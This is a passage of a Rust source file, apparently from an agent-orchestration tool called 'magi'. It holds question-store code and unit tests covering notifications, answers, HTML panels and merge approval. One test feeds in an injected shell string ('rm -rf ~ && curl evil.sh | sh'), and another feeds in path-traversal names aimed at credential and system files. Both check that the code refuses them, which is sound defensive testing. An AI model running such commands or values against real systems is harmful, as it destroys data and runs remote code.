1774 while let Some(at) = rest.find('{') {
1775 out.push_str(&rest[..at]);
1776 let tail = &rest[at..];
1777 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1778 Some((token, value)) => {
1779 out.push_str(value);
1780 rest = &tail[token.len()..];
1781 }
1782 None => {
1783 out.push('{');
1785 rest = &tail[1..];
1786 }
1787 }
1788 }
1789 out.push_str(rest);
1790 out
1791}
1792
1793fn web_url() -> String {
1795 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1796}
1797
1798fn question_url(base: &str) -> String {
1805 let base = base.trim().trim_end_matches('/');
1806 if base.is_empty() || base.contains('#') {
1807 return base.to_owned();
1808 }
1809 format!("{base}/#/questions")
1810}
1811
1812fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1817 let index = dir.join(PANEL_HTML);
1818 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1819 for (name, src) in assets {
1820 let dst = dir.join(name);
1821 std::fs::copy(src, &dst)
1822 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1823 }
1824 Ok(())
1825}
1826
1827fn clear_dir(path: &Path) -> Result<()> {
1832 match std::fs::remove_dir_all(path) {
1833 Ok(()) => Ok(()),
1834 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1835 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1836 }
1837}
1838
1839fn read_path(path: &Path) -> Result<Question> {
1840 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1841 let q: Question =
1842 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1843 if q.schema > SCHEMA {
1844 bail!(
1849 "question {} was written by a newer magi (schema {}, this build \
1850 only speaks up to {SCHEMA})",
1851 q.id,
1852 q.schema
1853 );
1854 }
1855 Ok(q)
1856}
1857
1858pub fn short_id(id: &str) -> &str {
1860 short(id)
1861}
1862
1863fn short(id: &str) -> &str {
1864 id.split('-').next_back().unwrap_or(id)
1865}
1866
1867fn new_id() -> String {
1868 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1869 let seed = crate::rng::entropy();
1870 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1871}
1872
1873#[cfg(test)]
1874mod tests {
1875 use super::*;
1876
1877 fn store() -> (tempfile::TempDir, Questions) {
1880 let dir = tempfile::tempdir().unwrap();
1881 let s = Questions::at(dir.path().join("questions"));
1882 (dir, s)
1883 }
1884
1885 #[test]
1886 fn deleting_a_run_stops_its_questions_asking() {
1887 let (_dir, store) = store();
1888
1889 let mut open_one = choice_question();
1890 store.put(&mut open_one).unwrap();
1891 let mut answered = free_question();
1892 answered
1893 .answer(Answer::Text("keep this".to_owned()))
1894 .unwrap();
1895 store.put(&mut answered).unwrap();
1896 let mut elsewhere = choice_question();
1897 elsewhere.run = "20260903-105039-3cbf".to_owned();
1898 store.put(&mut elsewhere).unwrap();
1899
1900 let n = store
1901 .abandon_for_run(&open_one.run, "run was deleted")
1902 .unwrap();
1903 assert_eq!(n, 1, "only the open question of that run");
1904
1905 let back = store.get(&open_one.id).unwrap();
1906 assert!(!back.status.open(), "it no longer asks for a decision");
1907 assert!(
1908 back.detail.contains("run was deleted"),
1909 "the operator can see why: {}",
1910 back.detail
1911 );
1912
1913 let kept = store.get(&answered.id).unwrap();
1914 assert_eq!(
1915 kept.status,
1916 QuestionStatus::Answered,
1917 "an answered question is a decision on record, not something to revoke"
1918 );
1919 assert!(
1920 store.get(&elsewhere.id).unwrap().status.open(),
1921 "another run's question is untouched"
1922 );
1923 assert!(store.open_for(&open_one.run).is_empty());
1924 }
1925
1926 #[test]
1927 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
1928 let (_dir, store) = store();
1929 let mut q = choice_question();
1930 store.put(&mut q).unwrap();
1931
1932 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
1934 assert_eq!(n, 0);
1935 assert!(store.get(&q.id).unwrap().status.open());
1936
1937 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
1940 assert_eq!(n, 1);
1941 let back = store.get(&q.id).unwrap();
1942 assert!(!back.status.open());
1943 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
1944
1945 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
1947 }
1948
1949 fn choice_question() -> Question {
1950 Question::new(
1951 "20260902-201256-9fb7".to_owned(),
1952 "implement".to_owned(),
1953 "impl-A".to_owned(),
1954 "Which storage backend should the cache use?".to_owned(),
1955 "Both are already dependencies.".to_owned(),
1956 vec!["SQLite".to_owned(), "Redis".to_owned()],
1957 )
1958 }
1959
1960 fn free_question() -> Question {
1961 Question::new(
1962 "20260902-201256-9fb7".to_owned(),
1963 "review".to_owned(),
1964 "rev-1".to_owned(),
1965 "What should the error message say?".to_owned(),
1966 String::new(),
1967 Vec::new(),
1968 )
1969 }
1970
1971 fn quiet() -> config::Notify {
1973 config::Notify::default()
1974 }
1975
1976 #[test]
1977 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1978 let mut q = choice_question();
1982 q.id = "20260902-231501-ab12".to_owned();
1983 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1984 let keys: Vec<&str> = open
1988 .as_object()
1989 .unwrap()
1990 .keys()
1991 .map(String::as_str)
1992 .collect();
1993 assert_eq!(
1994 keys,
1995 [
1996 "actions",
1997 "answer",
1998 "answer_delivered",
1999 "answer_timeout",
2000 "answered_at",
2001 "asked_at",
2002 "assets",
2003 "choices",
2004 "cwd",
2005 "delivered_turns",
2006 "deputy",
2007 "detail",
2008 "id",
2009 "node",
2010 "panel",
2011 "run",
2012 "schema",
2013 "seat",
2014 "status",
2015 "summary",
2016 "thread",
2017 "waiter",
2018 ],
2019 "the on-disk field set is a contract with the front end"
2020 );
2021 assert_eq!(open["schema"], 5);
2022 assert_eq!(open["thread"], serde_json::json!([]));
2023 assert_eq!(open["id"], "20260902-231501-ab12");
2024 assert_eq!(open["run"], "20260902-201256-9fb7");
2025 assert_eq!(open["node"], "implement");
2026 assert_eq!(open["seat"], "impl-A");
2027 assert_eq!(open["status"], "open");
2028 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2029 assert_eq!(open["answered_at"], serde_json::Value::Null);
2030 assert_eq!(open["answer"], serde_json::Value::Null);
2031 let asked = open["asked_at"].as_str().unwrap();
2032 assert!(
2033 asked.ends_with('Z') && asked.contains('T'),
2034 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2035 );
2036
2037 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2039 let answered = serde_json::to_value(&q).unwrap();
2040 assert_eq!(answered["status"], "answered");
2041 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2042 assert!(answered["answered_at"].is_string());
2043
2044 let mut free = free_question();
2046 free.answer(Answer::Text("Say which file it was".to_owned()))
2047 .unwrap();
2048 assert_eq!(
2049 serde_json::to_value(&free).unwrap()["answer"],
2050 serde_json::json!({"text": "Say which file it was"})
2051 );
2052
2053 let body = serde_json::to_string(&q).unwrap();
2055 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2056 }
2057
2058 #[test]
2059 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2060 let mut unoffered = choice_question();
2063 let a = unoffered
2064 .answer(Answer::Choice("Postgres".to_owned()))
2065 .unwrap_err()
2066 .to_string();
2067
2068 let mut typed = choice_question();
2069 let b = typed
2070 .answer(Answer::Text("use Postgres".to_owned()))
2071 .unwrap_err()
2072 .to_string();
2073
2074 let mut blank = free_question();
2075 let c = blank
2076 .answer(Answer::Text(" \n".to_owned()))
2077 .unwrap_err()
2078 .to_string();
2079
2080 let mut twice = choice_question();
2081 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2082 let d = twice
2083 .answer(Answer::Choice("Redis".to_owned()))
2084 .unwrap_err()
2085 .to_string();
2086
2087 assert!(a.contains("not one of the choices"), "{a}");
2088 assert!(b.contains("multiple choice"), "{b}");
2089 assert!(c.contains("empty"), "{c}");
2090 assert!(d.contains("already answered"), "{d}");
2091 let mut distinct = vec![a, b, c, d];
2092 let asked = distinct.len();
2093 distinct.sort_unstable();
2094 distinct.dedup();
2095 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2096
2097 assert_eq!(unoffered.status, QuestionStatus::Open);
2099 assert_eq!(typed.status, QuestionStatus::Open);
2100 assert_eq!(blank.status, QuestionStatus::Open);
2101 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2103
2104 let mut free = free_question();
2106 let e = free
2107 .answer(Answer::Choice("SQLite".to_owned()))
2108 .unwrap_err()
2109 .to_string();
2110 assert!(e.contains("free text"), "{e}");
2111 }
2112
2113 #[test]
2114 fn open_questions_are_listed_before_answered_ones() {
2115 let (_dir, s) = store();
2116 let mut old_open = choice_question();
2119 old_open.id = "20260101-000001-aaaa".to_owned();
2120 let mut new_open = choice_question();
2121 new_open.id = "20260101-000002-bbbb".to_owned();
2122 let mut answered = choice_question();
2123 answered.id = "20260101-000003-cccc".to_owned();
2124 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2125 for q in [&mut old_open, &mut new_open, &mut answered] {
2126 s.put(q).unwrap();
2127 }
2128
2129 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2130 assert_eq!(
2131 ids,
2132 [
2133 "20260101-000002-bbbb",
2134 "20260101-000001-aaaa",
2135 "20260101-000003-cccc"
2136 ],
2137 "what has stopped work comes first; history sorts underneath"
2138 );
2139 assert_eq!(s.count_open(), 2);
2140 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2141 assert!(s.open_for("some-other-run").is_empty());
2142 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2144 assert!(s.get("20260101-000002-bbbb").is_ok());
2145 assert!(s.resolve_id("nope").is_err());
2146 assert!(
2147 s.revision() > 0,
2148 "the store's mtime drives the phone's polling"
2149 );
2150 }
2151
2152 #[test]
2153 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2154 let (_dir, s) = store();
2155 let mut good = choice_question();
2156 s.put(&mut good).unwrap();
2157 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2159 let future = serde_json::json!({
2160 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2161 "seat": "s", "summary": "?", "detail": "", "choices": [],
2162 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2163 "answered_at": null, "answer": null,
2164 });
2165 std::fs::write(
2166 s.path_of("20260101-000010-beef"),
2167 serde_json::to_string(&future).unwrap(),
2168 )
2169 .unwrap();
2170
2171 let listed = s.list();
2172 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2173 assert_eq!(listed[0].id, good.id);
2174 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2176 assert!(e.contains("schema"), "{e}");
2177 }
2178
2179 #[tokio::test]
2180 async fn the_wait_returns_the_answer_another_process_wrote() {
2181 let (dir, s) = store();
2186 let mut q = choice_question();
2187 let id = q.id.clone();
2188 let writer = Questions::at(dir.path().join("questions"));
2189 let handle = tokio::spawn(async move {
2190 tokio::time::sleep(Duration::from_millis(30)).await;
2191 let mut fresh = writer.get(&id).expect("the question was filed first");
2192 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2193 writer.put(&mut fresh).unwrap();
2194 });
2195
2196 let got = wait_for_owner(
2197 &mut q,
2198 &s,
2199 &quiet(),
2200 Duration::from_secs(5),
2201 Duration::from_millis(10),
2202 )
2203 .await
2204 .unwrap();
2205
2206 handle.await.unwrap();
2207 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2208 assert_eq!(
2209 q.status,
2210 QuestionStatus::Answered,
2211 "the caller's copy is refreshed from the answering process's record"
2212 );
2213 assert!(q.answered_at.is_some());
2214 }
2215
2216 #[tokio::test]
2217 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2218 let (_dir, s) = store();
2219 let mut q = choice_question();
2220
2221 let got = wait_for_owner(
2222 &mut q,
2223 &s,
2224 &quiet(),
2225 Duration::from_millis(60),
2226 Duration::from_millis(10),
2227 )
2228 .await
2229 .unwrap();
2230
2231 assert_eq!(
2232 got,
2233 Wait::Abandoned,
2234 "a slow human is not an error; the run parks"
2235 );
2236 assert_eq!(q.status, QuestionStatus::Abandoned);
2237 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2238 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2239 assert!(
2240 on_disk.detail.contains("Abandoned:"),
2241 "why nobody answered belongs with the question: {}",
2242 on_disk.detail
2243 );
2244 assert!(on_disk.resolution().is_none());
2245 assert_eq!(s.count_open(), 0);
2246 }
2247
2248 #[tokio::test]
2249 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2250 let (_dir, s) = store();
2255 let mut q = choice_question();
2256 s.put(&mut q).unwrap();
2257
2258 let got = wait_loop(
2259 &mut q,
2260 &s,
2261 Duration::from_secs(3600),
2262 Duration::from_millis(30),
2263 Duration::from_millis(10),
2264 )
2265 .await
2266 .unwrap();
2267
2268 assert_eq!(
2269 got,
2270 Wait::Pending,
2271 "the clock on this call ran out, not the owner's patience"
2272 );
2273 assert_eq!(
2274 q.status,
2275 QuestionStatus::Open,
2276 "a slice expiring must never abandon the question"
2277 );
2278 let on_disk = s.get(&q.id).expect("still on disk, still open");
2279 assert_eq!(
2280 on_disk.status,
2281 QuestionStatus::Open,
2282 "nothing about the record changed just because this call gave up"
2283 );
2284 }
2285
2286 #[tokio::test]
2287 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2288 let (dir, s) = store();
2293 let mut q = choice_question();
2294 s.put(&mut q).unwrap();
2295
2296 let first = wait_loop(
2297 &mut q,
2298 &s,
2299 Duration::from_secs(3600),
2300 Duration::from_millis(30),
2301 Duration::from_millis(10),
2302 )
2303 .await
2304 .unwrap();
2305 assert_eq!(first, Wait::Pending);
2306
2307 let id = q.id.clone();
2308 let writer = Questions::at(dir.path().join("questions"));
2309 let mut fresh = writer.get(&id).unwrap();
2310 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2311 writer.put(&mut fresh).unwrap();
2312
2313 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2318 .await
2319 .unwrap();
2320 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2321 assert_eq!(q.status, QuestionStatus::Answered);
2322 }
2323
2324 #[tokio::test]
2325 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2326 let (dir, s) = store();
2336 let mut q = choice_question();
2337 s.put(&mut q).unwrap();
2338
2339 let first = wait_loop(
2340 &mut q,
2341 &s,
2342 Duration::from_secs(3600),
2343 Duration::from_millis(30),
2344 Duration::from_millis(10),
2345 )
2346 .await
2347 .unwrap();
2348 assert_eq!(first, Wait::Pending);
2349
2350 let id = q.id.clone();
2352 let writer = Questions::at(dir.path().join("questions"));
2353 let mut fresh = writer.get(&id).unwrap();
2354 fresh.say("why not Postgres?").unwrap();
2355 writer.put(&mut fresh).unwrap();
2356
2357 let mut resumed = s.get(&id).unwrap();
2361 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2362 .await
2363 .unwrap();
2364 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2365 assert_eq!(
2366 resumed.status,
2367 QuestionStatus::Open,
2368 "talking back is not a decision; the question stays open"
2369 );
2370 }
2371
2372 #[tokio::test]
2373 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2374 let (dir, s) = store();
2378 let broken = config::Notify {
2379 command: vec![
2380 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2381 "{summary}".to_owned(),
2382 ],
2383 };
2384 let mut q = choice_question();
2385 assert!(
2386 notify(&broken, &q).await.is_err(),
2387 "the caller is told; it decides that it does not matter"
2388 );
2389
2390 let id = q.id.clone();
2391 let writer = Questions::at(dir.path().join("questions"));
2392 let handle = tokio::spawn(async move {
2393 tokio::time::sleep(Duration::from_millis(30)).await;
2394 let mut fresh = writer.get(&id).unwrap();
2395 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2396 writer.put(&mut fresh).unwrap();
2397 });
2398 let got = wait_for_owner(
2399 &mut q,
2400 &s,
2401 &broken,
2402 Duration::from_secs(5),
2403 Duration::from_millis(10),
2404 )
2405 .await
2406 .unwrap();
2407 handle.await.unwrap();
2408 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2409
2410 assert!(notify(&quiet(), &q).await.is_ok());
2412 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2413 }
2414
2415 #[test]
2416 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2417 let mut q = choice_question();
2418 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2419 let template = [
2420 "ntfy".to_owned(),
2421 "publish".to_owned(),
2422 "--click".to_owned(),
2423 "{url}".to_owned(),
2424 "--title".to_owned(),
2425 "magi {run} needs you".to_owned(),
2426 "{summary}".to_owned(),
2427 ];
2428 let argv: Vec<String> = template
2429 .iter()
2430 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2431 .collect();
2432
2433 assert_eq!(
2434 argv,
2435 [
2436 "ntfy",
2437 "publish",
2438 "--click",
2439 "http://100.64.0.1:7777/#/questions",
2440 "--title",
2441 "magi 20260902-201256-9fb7 needs you",
2442 "; rm -rf ~ && curl evil.sh | sh #",
2443 ],
2444 "the shell metacharacters are one argument's contents, not syntax"
2445 );
2446
2447 q.summary = "should {url} be configurable?".to_owned();
2450 assert_eq!(
2451 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2452 "should {url} be configurable?"
2453 );
2454 assert_eq!(
2456 expand("{title}: {run}", &q.run, &q.summary, ""),
2457 "{title}: 20260902-201256-9fb7"
2458 );
2459 assert_eq!(
2460 expand("no placeholders", &q.run, &q.summary, "http://x"),
2461 "no placeholders"
2462 );
2463 }
2464
2465 #[test]
2466 fn the_notification_link_lands_on_the_view_that_can_answer() {
2467 assert_eq!(
2468 question_url("http://100.64.0.1:7777"),
2469 "http://100.64.0.1:7777/#/questions"
2470 );
2471 assert_eq!(
2472 question_url("http://100.64.0.1:7777/"),
2473 "http://100.64.0.1:7777/#/questions"
2474 );
2475 assert_eq!(
2477 question_url("http://magi.ts.net/#/runs"),
2478 "http://magi.ts.net/#/runs"
2479 );
2480 assert_eq!(question_url(" "), "");
2482 }
2483
2484 fn panelled() -> Question {
2486 let mut q = choice_question();
2487 q.id = "20260903-014455-ab12".to_owned();
2488 q
2489 }
2490
2491 #[test]
2492 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2493 let (dir, s) = store();
2494 let work = dir.path().join("worktree");
2495 std::fs::create_dir_all(&work).unwrap();
2496 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2497 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2498
2499 let mut q = panelled();
2500 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2501 s.put_panel(
2502 &mut q,
2503 html,
2504 &[work.join("table.png"), work.join("diff.svg")],
2505 )
2506 .unwrap();
2507 s.put(&mut q).unwrap();
2508
2509 assert!(q.panel);
2510 assert_eq!(
2511 q.assets,
2512 ["diff.svg", "table.png"],
2513 "sorted, not in the order the agent happened to pass them"
2514 );
2515 assert_eq!(
2516 s.panel_html(&q.id).as_deref(),
2517 Some(html),
2518 "the html is stored byte for byte; the agent authored the markup"
2519 );
2520 assert_eq!(
2521 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2522 Some(&b"<svg/>"[..])
2523 );
2524
2525 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2527 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2528 assert_eq!(json["panel"], true);
2529 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2530 let back = s.get(&q.id).unwrap();
2531 assert!(back.panel);
2532 assert_eq!(back.assets, q.assets);
2533
2534 std::fs::remove_dir_all(&work).unwrap();
2537 assert_eq!(
2538 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2539 Some(&b"\x89PNG"[..]),
2540 "a referenced asset would be gone with the worktree"
2541 );
2542 }
2543
2544 #[test]
2545 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2546 let (dir, s) = store();
2547 let mut q = panelled();
2548 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2549 s.put(&mut q).unwrap();
2550
2551 let secret = "this must never reach the browser";
2554 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2555 assert_eq!(
2556 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2557 secret,
2558 "the traversal is real: the operating system resolves this path \
2559 happily, which is why the name has to be refused before the join"
2560 );
2561
2562 let long = "x".repeat(200);
2563 for name in [
2564 "..",
2565 "../id_rsa",
2566 "..\\id_rsa",
2567 "sub/../id_rsa",
2568 "/",
2569 "\\",
2570 "/etc/passwd",
2571 "C:\\Windows\\win.ini",
2572 "",
2573 ".hidden",
2574 ".",
2575 long.as_str(),
2576 ] {
2577 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2578 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2579 assert!(
2580 e.contains("not a panel file name"),
2581 "`{name}` must be refused as a name, not attempted: {e}"
2582 );
2583 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2584 }
2585 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2588
2589 let hidden = dir.path().join(".hidden");
2592 std::fs::write(&hidden, "x").unwrap();
2593 let e = s
2594 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2595 .unwrap_err()
2596 .to_string();
2597 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2598 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2599 assert!(q.assets.is_empty());
2600 }
2601
2602 #[test]
2603 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2604 let (dir, s) = store();
2605 let mut q = panelled();
2606 s.put(&mut q).unwrap();
2607
2608 let big = dir.path().join("recording.png");
2611 std::fs::File::create(&big)
2612 .unwrap()
2613 .set_len(PANEL_MAX_BYTES)
2614 .unwrap();
2615
2616 let html = "<p>see the recording</p>";
2617 let total = PANEL_MAX_BYTES + html.len() as u64;
2618 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2619 assert!(
2620 e.contains(&PANEL_MAX_BYTES.to_string()),
2621 "the cap is named so the agent knows the limit: {e}"
2622 );
2623 assert!(
2624 e.contains(&total.to_string()),
2625 "the actual size is named so the agent knows by how much: {e}"
2626 );
2627
2628 assert!(!q.panel);
2629 assert!(q.assets.is_empty());
2630 let left: Vec<String> = std::fs::read_dir(s.root())
2631 .unwrap()
2632 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2633 .collect();
2634 assert_eq!(
2635 left,
2636 [format!("{}.json", q.id)],
2637 "a refused panel leaves neither a directory nor scratch: {left:?}"
2638 );
2639 }
2640
2641 #[test]
2642 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2643 let (dir, s) = store();
2644 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2645 std::fs::create_dir_all(&before).unwrap();
2646 std::fs::create_dir_all(&after).unwrap();
2647 std::fs::write(before.join("diff.png"), "before").unwrap();
2648 std::fs::write(after.join("diff.png"), "after").unwrap();
2649
2650 let mut q = panelled();
2651 let e = s
2652 .put_panel(
2653 &mut q,
2654 "<p>x</p>",
2655 &[before.join("diff.png"), after.join("diff.png")],
2656 )
2657 .unwrap_err()
2658 .to_string();
2659 assert!(e.contains("diff.png"), "{e}");
2660 assert!(
2661 e.contains("before") && e.contains("after"),
2662 "both sources are named, because the fix is to rename one: {e}"
2663 );
2664 assert!(!q.panel);
2665 assert!(!s.panel_dir(&q.id).exists());
2666 }
2667
2668 #[test]
2669 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2670 let (dir, s) = store();
2671 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2672 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2673
2674 let mut q = panelled();
2675 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2676 .unwrap();
2677 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2678 .unwrap();
2679
2680 assert_eq!(q.assets, ["new.png"]);
2681 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2682 assert!(
2683 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2684 "an asset from the first attempt would show a mix of two answers"
2685 );
2686
2687 s.drop_panel(&q.id).unwrap();
2688 assert!(s.panel_html(&q.id).is_none());
2689 assert!(!s.panel_dir(&q.id).exists());
2690 s.drop_panel(&q.id)
2691 .expect("dropping a panel that is already gone is the desired state");
2692 }
2693
2694 #[test]
2695 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2696 let (_dir, s) = store();
2697 let mut q = panelled();
2698 s.put(&mut q).unwrap();
2699
2700 assert!(!q.panel);
2701 assert!(s.panel_html(&q.id).is_none());
2702 assert!(
2703 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2704 "a missing file is a 404 for the caller, not a failure of the store"
2705 );
2706 let json = serde_json::to_value(&q).unwrap();
2707 assert_eq!(json["panel"], false);
2708 assert_eq!(json["assets"], serde_json::json!([]));
2709
2710 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2713 assert!(e.contains("empty panel"), "{e}");
2714 assert!(!s.panel_dir(&q.id).exists());
2715 }
2716
2717 #[test]
2718 fn a_question_written_before_panels_existed_still_deserialises() {
2719 let (_dir, s) = store();
2720 std::fs::create_dir_all(s.root()).unwrap();
2721 let id = "20260902-231501-ab12";
2722 let body = r#"{
2724 "schema": 1,
2725 "id": "20260902-231501-ab12",
2726 "run": "20260902-201256-9fb7",
2727 "node": "implement",
2728 "seat": "impl-A",
2729 "summary": "Which storage backend should the cache use?",
2730 "detail": "Both are already dependencies.",
2731 "choices": ["SQLite", "Redis"],
2732 "status": "open",
2733 "asked_at": "2026-09-02T23:15:01Z",
2734 "answered_at": null,
2735 "answer": null
2736}"#;
2737 std::fs::write(s.path_of(id), body).unwrap();
2738
2739 let q = s.get(id).unwrap();
2740 assert!(
2741 !q.panel,
2742 "an absent field means no panel, not a parse error"
2743 );
2744 assert!(q.assets.is_empty());
2745 assert_eq!(q.schema, 1);
2750 assert!(q.thread.is_empty());
2751 assert_eq!(
2752 q.answer_timeout, 0,
2753 "an absent field means unrecorded, not a zero-second deadline"
2754 );
2755 assert!(!q.waiting_on_agent());
2756 assert_eq!(q.summary, "Which storage backend should the cache use?");
2757 assert_eq!(
2758 s.list().len(),
2759 1,
2760 "and it is still listed; skipping it would hide an open question"
2761 );
2762 }
2763
2764 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2765 Turn {
2766 who,
2767 body: body.to_owned(),
2768 at,
2769 }
2770 }
2771
2772 #[test]
2773 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2774 let mut q = choice_question();
2777 q.thread
2778 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2779 let value = serde_json::to_value(&q.thread[0]).unwrap();
2780 let mut keys: Vec<&str> = value
2781 .as_object()
2782 .unwrap()
2783 .keys()
2784 .map(String::as_str)
2785 .collect();
2786 keys.sort_unstable();
2787 assert_eq!(keys, ["at", "body", "who"]);
2788 assert_eq!(value["who"], "operator");
2789 assert_eq!(value["body"], "why not Postgres?");
2790
2791 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2792 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2793 assert_eq!(parsed.who, Who::Agent);
2794 }
2795
2796 #[test]
2797 fn a_merge_approval_settles_only_on_the_owners_exact_word() {
2798 let mut q = Question::new(
2799 "run".into(),
2800 crate::land::APPROVAL_NODE.into(),
2801 "land".into(),
2802 "Merge?".into(),
2803 String::new(),
2804 vec!["merge".into(), "hold".into()],
2805 );
2806 let mut dep = Deputy::new("brief".into());
2807 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2808 q.deputy = Some(dep);
2809 q.say("please don't merge yet").unwrap();
2810 assert!(q.settle_by_deputy("deputy-x", "merge", "merge").is_err());
2811 assert!(
2812 q.settle_by_deputy("deputy-x", "merge", "don't merge")
2813 .is_err()
2814 );
2815 assert!(
2816 q.settle_by_deputy("deputy-x", "hold", "don't merge")
2817 .is_err()
2818 );
2819 assert_eq!(q.status, QuestionStatus::Open);
2820 q.reply("do you mean hold?", vec!["merge".into(), "hold".into()])
2821 .unwrap();
2822 q.say(" Merge ").unwrap();
2823 assert!(
2824 q.settle_by_deputy("deputy-x", "merge", "erge").is_err(),
2825 "a fragment is not the word"
2826 );
2827 q.settle_by_deputy("deputy-x", "merge", "Merge").unwrap();
2828 assert_eq!(q.resolution().as_deref(), Some("merge"));
2829 }
2830
2831 #[test]
2832 fn a_later_owner_message_supersedes_an_earlier_merge() {
2833 let mut q = Question::new(
2834 "run".into(),
2835 crate::land::APPROVAL_NODE.into(),
2836 "land".into(),
2837 "Merge?".into(),
2838 String::new(),
2839 vec!["merge".into(), "hold".into()],
2840 );
2841 let mut dep = Deputy::new("brief".into());
2842 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2843 q.deputy = Some(dep);
2844 q.say("merge").unwrap();
